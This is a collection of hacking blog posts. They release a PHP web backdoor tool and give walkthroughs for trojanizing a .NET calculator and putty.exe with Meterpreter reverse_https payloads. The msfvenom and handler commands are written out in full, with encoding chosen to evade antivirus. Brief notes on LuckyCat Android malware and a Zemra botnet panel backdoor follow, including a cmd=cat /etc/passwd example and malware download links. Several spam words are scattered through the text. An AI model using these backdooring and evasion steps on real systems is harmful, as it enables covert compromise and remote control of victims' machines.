Tool Release: phpkit 1.0 Web Backdoor

This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.



While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.

Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory :D
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version ;)

I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here:

This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory ;)

Anyways, enough talking about how awesome it is (it really is not that awesome :( ), time for some demos and useage.

So, obviously you have placed odd.php on the target server somewhere, somehow. What next?

Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.

The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”

This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.

Here is a screenshot of it in shell mode

phpkit shell mode

Shell Mode

And here is a screenshot of file uploading.

phpkit upload mode

phpkit upload mode

Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know :)

You may download it here: phpkit-1.0.tar.gz :)

Injecting arbritary code into .NET Assemblies using ‘und3ath Injector’

Last night I was browsing a forum I frequent – and came across a piece of code named “und3ath Injector” written by a user named und3ath. It claimed to be capable of injecting arbritary code into .NET assemblies without harming the original code – in short – a stealth backdooring tool for .NET executables.

The author’s article and release can be found on his blog here: this guy is a very good .NET programmer, I expect he will come out with more awesome things soon :)

This, to me, was fascinating. What it does is it directly injects ‘evil code’ into the .net executable into one of the functions or forms that comprise the assembly, without altering the functionality of the original. It simply sneakily adds a “Little Extra”. The fact I fucking hate .NET with a passion meant I saw a hilarious extra “Evil” side to this! A trojanizer for .NET executables? AWESOME. I had trouble in the past injecting MSF payloads into .NET binaries without breaking the original binary.

The proof of concept tool – und3ath Injector – has two payloads. A Messagebox payload and a “Trojan Downloader” payload. The first is proof the damn thing works, the second a more “weaponized” payload for dropping malware or backdoors on a victim system.

One of the benefits of using a downloader instead of hiding a full backdoor in there is stealth – less modifications to the file, and less for an AV to sign on.

So, without further ado, I am going to inject a dropper into a .NET binary, and see does it function as planned. The dropper will download a Meterpreter payload from a remote server, execute the payload, and we will take it from there…

Before we do anything, we will generate our Metasploit Payload to run on the victim system and place in our webroot.

The following should do the trick…

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 LHOST= LPORT=443 >evil.exe

This creates the executable file “evil.exe” in our current working directory. The msfvenom command should be self explanatory, but if there is demand for it I will write an article later on using msfvenom. If you are capable of reading the f*cking manual you should get it :)

Creating the Meterpreter payload

Creating the Meterpreter payload

So we have our evil binary in /var/www/lulz ready to go. We can now move on to the main part of this article – backdooring .NET assemblies by “patching” them with extra .NET code.

The victim .NET binary I chose to use is a simple calculator application. I found it online and decided it made a good enough victim for demonstration purposes.

Here is a screenshot of it running, for those of you who do not know what a calculator is :P

.NET calculator

.NET calculator

Now. We open ‘und3ath Injector’ and select “Load File”. Use this dialogue to select the binary you wish to backdoor.

Selecting a file to backdoor

Selecting a file to backdoor

Next we click on any of the parts that we think would be good to inject code into (I normally choose the main class for some odd reason, though you could select an on click event…)

When we click on this the “Payloader” menu comes up. We insert our information/selection here.

Create Payload

Create the Payload

When you click inject, it starts creating a new binary for you to use and you save it.

Saving the Backdoor

Saving the Backdoor

Now, we have our evil binary ready to deploy, and have our Metasploit listener ready. We run the modified binary on the victim host and haz shell :)

g0tsh3ll, again

Got a shell =D

So, as you an see, it is relatively trivial to inject arbritary code into a .NET assembly without affecting the existing functionality of the software.

Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…


wget putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST= LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost (our local host, change this if needed)

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Backdoored Putty.exe running on victim host


Owned! Meterpreter executing on victim


Quick Post: Initial Analysis of “LuckyCat” APT Android Malware

First off, view I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, online on with the show!

So I was browsing the Contagio Mobile Malware Dump and came across this:

I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, sickness very simplistic malware).

So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.

Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.

I eventually found the following code in the “” class:
private String strReIP = “”;
private String strRePort = “54321”;

Now, this lead me to think “So, it connects to that host on that port… Interesting”.

An nslookup shows this no longer seems to exist:
$ nslookup

Non-authoritative answer:
Address: is, unless I am mistaken, a dynamic DNS provider.  A whois shows it to be China based, as expected.

While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.

I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source. Password for zip files is “infected”, where needed.


Zemra DDoS Bot: Backdoors in your Backdoors!

So, ailment today I grabbed a sample of the leaked “Zemra” botnet source code, and quickly did a “10 second analysis” of the webpanels source code. I often do this to see can I locate any “GLARING SECURITY FLAWS” in the C&C. I am also working on finding a google-dork to find Zemra installations.

For information about Zemra the following links are useful :)

So. This was on sale in various places online (Russian forums apparently), here however I suspect (based on the backdoor and the fact it is written in C#) that is is German in origin. Some of the stuff in there seems to be German also, illness so I assume it is another product of the German Skid Scene. Basically “Rippers Inc”. LAME!

Anyway, I was looking at the webpanels source (I will eventually rip the bots source apart) and noticed that gate.php has some lulzy SQLi (possibly).

Far more interesting was the backdoor. Located at /Zemra/Panel/Zemra/system/command.php, it is your basic “BACKDOOR”. It takes the GET parameter “cmd” and executes it.

Example: localhost/Zemra/Panel/Zemra/system/command.php?cmd=cat /etc/passwd

I will be researching this in greater depth… Sometime in the near-ish future. But as always, there be backdoors in your backdoors!

Finally: Zemra.rar file is here: Zemra